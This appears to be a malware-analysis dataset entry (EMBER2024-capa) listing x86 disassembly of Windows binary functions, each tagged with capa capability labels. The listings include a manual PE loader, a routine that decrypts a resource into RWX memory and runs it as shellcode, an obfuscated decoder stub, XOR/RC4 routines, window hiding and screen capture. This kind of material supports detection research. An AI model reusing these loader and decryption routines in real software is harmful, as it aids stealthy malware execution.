joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401570
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
je 0x40158c
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [ebp - 8], edi
nop
nop
cmp dword [edi], 0x4550
je 0x4015aa
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call ebx
mov esi, eax
mov dword [ebp - 4], esi
nop
nop
nop
nop
nop
test esi, esi
jne 0x4015e2
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call ebx
mov dword [ebp - 4], eax
mov esi, eax
nop
nop
nop
test esi, esi
jne 0x4015f2
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
nop
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
mov dword [ebx + 4], esi
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
nop
nop
nop
nop
mov eax, dword [edi + 0x50]
push 4
push 0x1000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
nop
mov esi, dword [ebp + 8]
mov edx, dword [edi + 0x54]
mov edi, eax
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x3c]
add edx, eax
mov dword [ebx], edx
nop
nop
nop
mov eax, dword [ebx]
mov esi, dword [ebp - 4]
mov dword [eax + 0x34], esi
nop
nop
nop
mov edi, dword [ebp - 8]
push ebx
push edi
push ecx
call fcn.00401710
add esp, 0xc
nop
nop
nop
nop
mov ecx, dword [edi + 0x34]
mov eax, esi
sub eax, ecx
je 0x40169a
push eax
push ebx
call fcn.00401900
add esp, 8
nop
nop
nop
push ebx
call fcn.00401980
add esp, 4
test eax, eax
je 0x4016e1
nop
nop
nop
push ebx
call fcn.004017f0
add esp, 4
nop
nop
nop
mov ecx, dword [ebx]
mov eax, dword [ecx + 0x28]
test eax, eax
je 0x401705
nop
nop
nop
mov edx, dword [ebx]
mov eax, dword [edx + 0x28]
add eax, esi
je 0x4016e1
nop
nop
nop
nop
nop
push 0
push 1
push esi
call eax
nop
nop
nop
test eax, eax
jne 0x4016fb
nop
nop
nop
push ebx
call fcn.00401b40
add esp, 4
nop
nop
nop
nop
nop
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
nop
nop
nop
mov dword [ebx + 0x10], 1
pop edi
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401710
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ecx, ecx
push edi
mov eax, dword [esi]
mov edi, dword [esi + 4]
mov dword [ebp - 8], edi
mov cx, word [eax + 0x14]
lea ebx, [ecx + eax + 0x18]
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
mov edx, dword [esi]
mov dword [ebp - 4], 0
cmp word [edx + 6], 0
jbe 0x4017e4
add ebx, 0x10
jmp 0x401758
mov edi, dword [ebp - 8]
cmp dword [ebx], 0
jne 0x401794
mov eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x38]
test esi, esi
jle 0x4017c7
mov ecx, dword [ebx - 4]
push 4
push 0x1000
add ecx, edi
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4017c7
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [ebp + 8]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 4]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [ebp - 4], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x401755
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401d50
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
nop
nop
mov eax, dword [ebp + 0x10]
mov ecx, 0xfe
and eax, 0xff
cdq
idiv ecx
mov ebx, edx
add bl, 8
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call esi
nop
nop
nop
nop
nop
mov eax, dword [ebp + 0xc]
test eax, eax
jbe 0x401dbc
push edi
mov edi, dword [ebp + 8]
mov dword [ebp + 0x10], eax
nop
nop
nop
nop
nop
push 0
call esi
nop
nop
push 0
call esi
nop
nop
mov dl, byte [edi]
push 0
xor dl, bl
add dl, bl
mov byte [edi], dl
inc edi
call esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp + 0x10]
dec eax
mov dword [ebp + 0x10], eax
jne 0x401d8b
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10001b40
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001bd8
push str.avifil32.dll
call fcn.10003b0a
test al, al
jne 0x10001b5d
pop esi
ret
push str.AVIFileInit
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileExit
push dword [esi + 4]
mov dword [esi + 8], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileRelease
push dword [esi + 4]
mov dword [esi + 0xc], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIFileOpen
push dword [esi + 4]
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamInfo
push dword [esi + 4]
mov dword [esi + 0x14], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamOpenFromFile
push dword [esi + 4]
mov dword [esi + 0x18], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.AVIStreamRelease
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
mov al, 1
pop esi
ret

Function at 0x10001c20
Capabilities:
Link many functions at runtime

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
jne 0x10001cb8
push str.winmm.dll
call fcn.10003b0a
test al, al
jne 0x10001c3d
pop esi
ret
push str.mmioInstallIOProcA
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioOpenA
push dword [esi + 4]
mov dword [esi + 8], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioClose
push dword [esi + 4]
mov dword [esi + 0xc], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioAscend
push dword [esi + 4]
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioRead
push dword [esi + 4]
mov dword [esi + 0x14], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mmioDescend
push dword [esi + 4]
mov dword [esi + 0x18], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mciSendCommandA
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
mov al, 1
pop esi
ret
Function at 0x10003b0a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10003b19
pop dword [ebp - 0x24]
mov eax, 0x946fc17c
sub eax, 0x846f8663
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x49a4dac7
add dword [ebp - 0x34], 0x4ad6a84
mov dword [ebp - 0x30], 0x1595a01f
sub dword [ebp - 0x30], 0xe36253da
mov dword [ebp - 0x2c], 0xf8b9c168
sub dword [ebp - 0x2c], 0xac6d7d3a
mov dword [ebp - 0x28], 0x7ff85962
sub dword [ebp - 0x28], 0x7ff85962
lea eax, [ebp - 0x34]
push eax
mov eax, 0x3e05a228
add eax, 0xd1fb2e58
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xe9569b4d
add dword [ebp - 0x34], 0x8b1bce09
mov dword [ebp - 0x30], 0x2e683e3f
add dword [ebp - 0x30], 0x13042336
mov dword [ebp - 0x2c], 0x9a40de7d
add dword [ebp - 0x2c], 0xc92e8def
mov dword [ebp - 0x28], 0x1acf974e
sub dword [ebp - 0x28], 0x1acf974e
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x1023c74d
sub eax, 0x22f6d5
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x37669
push 0
call eax
mov ecx, 0x449b
mov edi, eax
mov esi, 0x4e19969a
sub esi, 0x3e17e29a
add esi, dword [ebp - 0x24]
mov ebx, 0xcd7c69eb
add dword [ebp - 0x18], ebx
mov edx, dword [esi]
sub dword [ebp - 4], esi
add edx, ebx
sub dword [ebp - 0xc], 0x5447340f
mov dword [edi], edx
xor dword [ebp - 0x20], ebx
add edi, 0x8ca3dbca
sub edi, 0x8ca3dbc6
add esi, 0x578e2a40
add esi, 0xa871d5c4
loop 0x10003c2f
add eax, 0xd98444cb
add eax, 0x267cc074
xor ebx, ebx
add ebx, eax
add eax, 0x7e84c947
add eax, 0x817b36be
mov ecx, 0x12e3042d
add ecx, 0xfd1cfbd3
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x10009670
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
cmp eax, 0x1a
jl 0x100096c8
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x100096c8
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push 0x10
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi]
push eax
push dword [esi + 4]
push dword [esi]
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.10003b0a
push 1
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
ret 4

Function at 0x10009c50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8
Function at 0x4010b6
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
add esp, 0xffffffac
mov dword [ebp - 0x28], 0x40135a
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x404120]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 6
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str.LastViewCtrl
mov dword [ebp - 4], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
push 0x3f
call sub.user32.dll_GetSystemMetrics
cmp eax, 3
jne 0x401138
push 0x400000
nop
nop
sub eax, 0xffffffe3
push eax
nop
pop eax
and eax, eax
jne 0x401122
sub eax, 0xc
xor eax, eax
push 0
call fcn.00401537
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
push dword [ebp + 8]
push dword [ebp - 0x54]
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.MyApp
push str.LastViewCtrl
push 0
call sub.user32.dll_CreateWindowExA
mov dword [ebp - 0x50], eax
push dword [ebp + 0x14]
push dword [ebp - 0x50]
call sub.user32.dll_ShowWindow
push dword [ebp - 0x50]
call sub.user32.dll_UpdateWindow
push 0
lea eax, [ebp - 0x4c]
push 0
push 0
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x4011b2
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x40118b
mov eax, dword [ebp - 0x44]
leave
ret 0x10

Function at 0x4011db
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov dword [ebp - 0x14], 0
push dword [ebp - 0x14]
call sub.user32.dll_GetDC
mov dword [ebp + 0xc], eax
push 0
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 4], eax
add eax, eax
mov dword [ebp - 0xc], eax
push 1
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 8], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp + 0xc]
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [0x404010], eax
push dword [ebp + 0xc]
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 0x10], eax
push dword [0x404010]
push dword [ebp - 0x10]
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0x18], eax
push 0xcc0020
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push 0
push dword [ebp - 0x10]
call sub.gdi32.dll_BitBlt
push 0xcc0020
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push dword [ebp - 4]
push dword [ebp - 0x10]
call sub.gdi32.dll_BitBlt
push esi
mov esi, dword [ebp - 4]
push 0xcc0020
push 0
push esi
push dword [ebp - 0x10]
push dword [ebp - 8]
push dword [ebp - 4]
push 0
push 0
push dword [ebp + 0xc]
call sub.gdi32.dll_BitBlt
push 0x14
call sub.kernel32.dll_Sleep
sub esi, 8
jns 0x40127c
pop esi
push 0
push dword [ebp + 0xc]
push 0xf
push 0
call sub.user32.dll_SendMessageA
push dword [0x404010]
call sub.gdi32.dll_DeleteObject
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call sub.gdi32.dll_SelectObject
push dword [ebp - 0x10]
call sub.gdi32.dll_DeleteDC
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call sub.user32.dll_ReleaseDC
leave
ret 8
Function at 0x4013ec
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
pushal
mov eax, str.GetLastError
add eax, dword [ebp + 0x10]
push eax
mov eax, 0x40400c
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, 0x40410b
add eax, dword [ebp + 0x10]
call dword [eax]
push eax
mov eax, 0x404023
add eax, dword [ebp + 0x10]
push eax
mov eax, 0x40400c
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, 0x40410b
add eax, dword [ebp + 0x10]
call dword [eax]
pop eax
call eax
or eax, eax
jne 0x401435
push eax
jmp 0x401443
cmp eax, 0x7f
jne 0x401441
push 0x100
jmp 0x401443
push 1
mov ebx, 0xa
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
shr ecx, 2
mov edx, 0
mov eax, dword [ebp + 0xc]
shr eax, 2
sub eax, ecx
push eax
div ebx
inc edx
inc edx
sub dword [esi], edx
xor edx, edx
pop eax
div ebx
add edx, dword [esp]
push edx
add dword [esp], 0x4530ec21
pop edx
xor dword [esi], edx
add esi, 4
loop 0x401451
pop eax
popal
leave
ret 0x10
Function at 0x401537
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x90]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401556
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x40154a
add esi, 0x10000
push esi
mov eax, 0x40400c
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004014a5
mov dword [0x40410b], eax
push 0x404023
push 0x3e9
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x40159a
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4015ab
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4015bf
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x4015cd
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x4015e9
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.004013ec
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea esi, [ebx + 0x18]
mov edi, dword [esi + 0x38]
pop eax
push edi
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov esi, dword [eax + 0x38]
mov dword [ebp - 4], esi
mov edi, dword [esp]
add edi, dword [ebp + 0xc]
and edi, 0xffff0000
add edi, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push edi
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x40163c
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4016b6
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401b5a
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x401303
push dword [ebp + 0xc]
call fcn.0040105b
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x40189c
nop
nop
add eax, dword [ebp + 8]
nop
call eax
nop
leave
ret 8
Function at 0x4076a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c23ce
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov ecx, 0x4fa274
call fcn.0049af19
push 0x208
push 0
lea eax, [ebp - 0x21c]
push eax
call fcn.0049d9a0
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x21c]
push edx
mov ecx, dword [ebp + 8]
call fcn.004040b0
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
push 0x4c7198
mov ecx, dword [ebp + 8]
call fcn.00405080
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x407910
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c24ce
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
mov ecx, 0x4fa274
call fcn.0049af19
mov ecx, dword [ebp + 8]
call fcn.004041e0
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x18]
or eax, 1
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x14]
push edx
push 1
push 0
push 0
call sub.WTSAPI32.dll_WTSEnumerateSessionsW
test eax, eax
je 0x4079f0
mov dword [ebp - 0x10], 0
jmp 0x407987
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x20]
jae 0x4079b9
imul edx, dword [ebp - 0x10], 0xc
mov eax, dword [ebp - 0x14]
cmp dword [eax + edx + 8], 0
jne 0x4079b7
imul ecx, dword [ebp - 0x10], 0xc
add ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov eax, dword [ecx + 4]
mov dword [ebp - 0x30], eax
mov ecx, dword [ecx + 8]
mov dword [ebp - 0x2c], ecx
jmp 0x4079b9
jmp 0x40797e
mov edx, dword [ebp - 0x14]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push 5
mov edx, dword [ebp - 0x34]
push edx
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
test eax, eax
je 0x4079f0
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp + 8]
call fcn.00404ce0
mov ecx, dword [ebp - 0x1c]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x407bc0
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov ecx, 0x4fa274
call fcn.0049af19
xor eax, eax
mov dword [ebp - 4], eax
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [ebp + 8]
mov byte [ebp + edx - 4], al
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 4], 0x3a
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 4], 0x5c
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0xc]
mul dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret

Function at 0x407ca0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c2536
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov ecx, 0x4fa274
call fcn.0049af19
mov ecx, dword [ebp + 8]
call fcn.004041e0
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
push 0x104
push 0
lea ecx, [ebp - 0x124]
push ecx
call fcn.0049d9a0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x124]
push eax
mov ecx, dword [ebp + 8]
call fcn.00404c50
push 2
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00406520
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
call fcn.00404c20
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.00404960
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x407d70
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c2596
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x238
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0
mov ecx, 0x4fa274
call fcn.0049af19
mov eax, dword [ebp + 8]
push eax
call fcn.004076a0
add esp, 4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
or ecx, 1
mov dword [ebp - 0x18], ecx
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x407f03
lea edx, [ebp - 0x10]
push edx
call fcn.00407910
add esp, 4
mov dword [ebp - 4], 1
push 0x208
push 0
lea eax, [ebp - 0x244]
push eax
call fcn.0049d9a0
add esp, 0xc
mov dword [ebp - 0x20], 0x104
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x244]
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x14]
call fcn.004040b0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x10]
call fcn.00406390
movzx ecx, al
test ecx, ecx
jne 0x407eeb
lea ecx, [ebp - 0x14]
call fcn.00406390
movzx edx, al
test edx, edx
jne 0x407eeb
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.00404d50
add esp, 8
movzx edx, al
test edx, edx
je 0x407eeb
lea eax, [ebp - 0x1c]
push eax
call fcn.00407f20
add esp, 4
mov byte [ebp - 4], 3
push 0x4c69e4
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00404de0
add esp, 0xc
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], ecx
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x28]
push edx
lea eax, [ebp - 0x34]
push eax
call fcn.00404e80
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], ecx
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x30]
push edx
mov ecx, dword [ebp + 8]
call fcn.00404c20
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x34]
call fcn.00404960
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x38]
call fcn.00404960
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1c]
call fcn.00404960
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.00404960
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.00404960
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret